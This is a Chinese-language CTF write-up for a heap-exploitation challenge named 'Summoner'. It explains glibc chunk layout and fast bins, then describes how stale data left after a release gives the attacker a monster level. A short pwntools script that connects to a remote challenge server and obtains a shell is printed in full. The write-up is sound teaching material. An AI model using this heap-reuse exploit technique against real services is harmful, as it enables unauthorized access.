Niyah

堆溢出

堆溢出,最最最简单

# Summoner

# 热知识

​ 在做这道题目之前,我们首先需要了解一些堆的基本概念,堆不同于栈,栈在程序运行时会自己出现,堆是动态分配的 (由操作系统内核或者堆管理器),只有在程序中需要时才会分配。在 CTF 的 pwn 中,栈是程序加载进内存后就会出现,而堆是由mallocallocrealloc 函数分配内存后才会出现。

​ 以 64 位程序为例子,在用户申请堆块后,系统便会给用户划分一块内存 (chunk) 供用户使用,这块内存通常如下图所示,这是用户在使用中的情况。

如下
pre size size
用户数据 用户数据

​ 可以看到 chunk 的大小并不等于用户申请的大小,而是比用户申请的大 0x10 个字节,这多出来的部分通产用来存放 chunk 的信息。

size 位 :这里存放的是当前 chunk 的大小 (包括 chunk 头),而我们知道,64 位程序通常以 8 字节对齐,在一般情况下,chunk 的大小都是 0x8 的整数倍,而 1 字节由八个 bit 组成,以 0x8 为最小单位则低三位恒为零,所以这三位存放的是 chunk 的状态。

0 0 0 0 1 0 0 0 = 0x8

目前我们只需要要知道最低位 PREV_INUSE ,它记录前一个 (物理距离) chunk 是否被使用。

pre size 位 :这个位置比较灵活,在 PREV_INUSE 为 1 时,可以被上一个块使用,在 PREV_INUSE 为 0 时,记录上一个块的大小。

​ 所以当我们执行 malloc (0x10) 时,得到的大小通常是 0x21。

malloc函数返回的是一个指向用户数据段的一个指针,我们可以通过free函数释放这个指针,在我们执行 free 操作释放指针后,chunk 会发生一些改变并根据一定的规则放入 bin 中,其中便有 fast bin、unsorted bin、small bin、large bin,fast bin 为单向链表,其他的都是双向链表,0x20 大小的 chunk 被释放后如下

如下
pre size size
fd 用户数据

​ 一般小于等于 0x80 大小的 chunk 被 free 掉之后会被放入相应大小的 fast bin 中,当用户再次申请相应大小的块时,系统会在 fast bin 中把那个块从链表末尾捡回来,既然是单向链表,则新增加的 fd 位自然是指向上个 chunk 的 pre size 地址

# 开始做题

​ 拿到题目进行分析,发现保护全开,这在堆题目里其实是很常见的

​ 先不慌我们先运行一下

​ 根据题目描述大概是,让我们想办法召唤一只 level5 的怪兽和对面召唤的 level5 的怪兽撞过去

​ 题目提供了几种命令:

  • 展示召唤物信息
  • 召唤一只生物,并给它起名字
  • 设置生物的等级,但必须小于 5
  • 攻击敌方召唤物
  • 释放召唤物

​ 在 IDA 分析过后可以发现还是有点问题的,首先是strdup函数,其返回一个指针,指向为复制字符串分配的空间,这个空间的大小是由我们决定的,其次是释放命令,它在使用后仅仅是把指针清空,并没有将我们用户的数据进行清空

​ 接下来我们构造脚本进行攻击,我们在进行召唤一个怪兽和升四级之后,他们的堆块变成了这个样子

summor aaa

level-up 4

​ 我们可以看见 2 号箭头指向的 616161 就是怪兽的名字 aaa,1 号箭头指向的为怪兽等级 4,3 号箭头指向了怪兽名字的地址,在这个时候,我们也就对这个召唤物的成分有了一些认识

​ 首先,在进行召唤过后,系统会自动 malloc 一个 chunk,其大小为 0x10,他的前 0x8 字节存放怪兽名字的地址,后 0x8 字节存放怪兽的等级,之后解放掉这只怪兽

​ 存放解放怪兽姓名的 chunk 会被 free 掉进入 bin 中

​ 当我们再次召唤时,便会将以收入 bin 中的 0x20 大小的块捡回来使用,而最开始输入的姓名不限长度,用户数据又不会清空,那么我们大可以把前一个 0x8 字节填满,溢出到下一个 0x8 字节,所以我们只需在最初召唤时溢出一个字节来存放等级,解放掉,再次申请回来时,那个块的前 0x8 个字节依然存放姓名指针,而后 0x8 个字节便是我们残留的等级

​ 再次召唤后进行攻击就能 getshell 了

​ 脚本十分简单

from pwn import *
context.log_level = 'debug'
#p =process("./summoner")
p = remote("node3.buuoj.cn",25153)


def new( name ):
    p.sendlineafter(">","summon "+ name)

def show():
    p.sendlineafter(">","show")

def up( l ):
    p.sendlineafter(">","level-up " + str(l))

def delete():
    p.sendlineafter(">","release")

def dbg():
    gdb.attach(p)
    pause()


new("aaaaaaaa" + p64(5))
delete()
new("a")
p.sendlineafter(">","strike")

p.interactive()

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。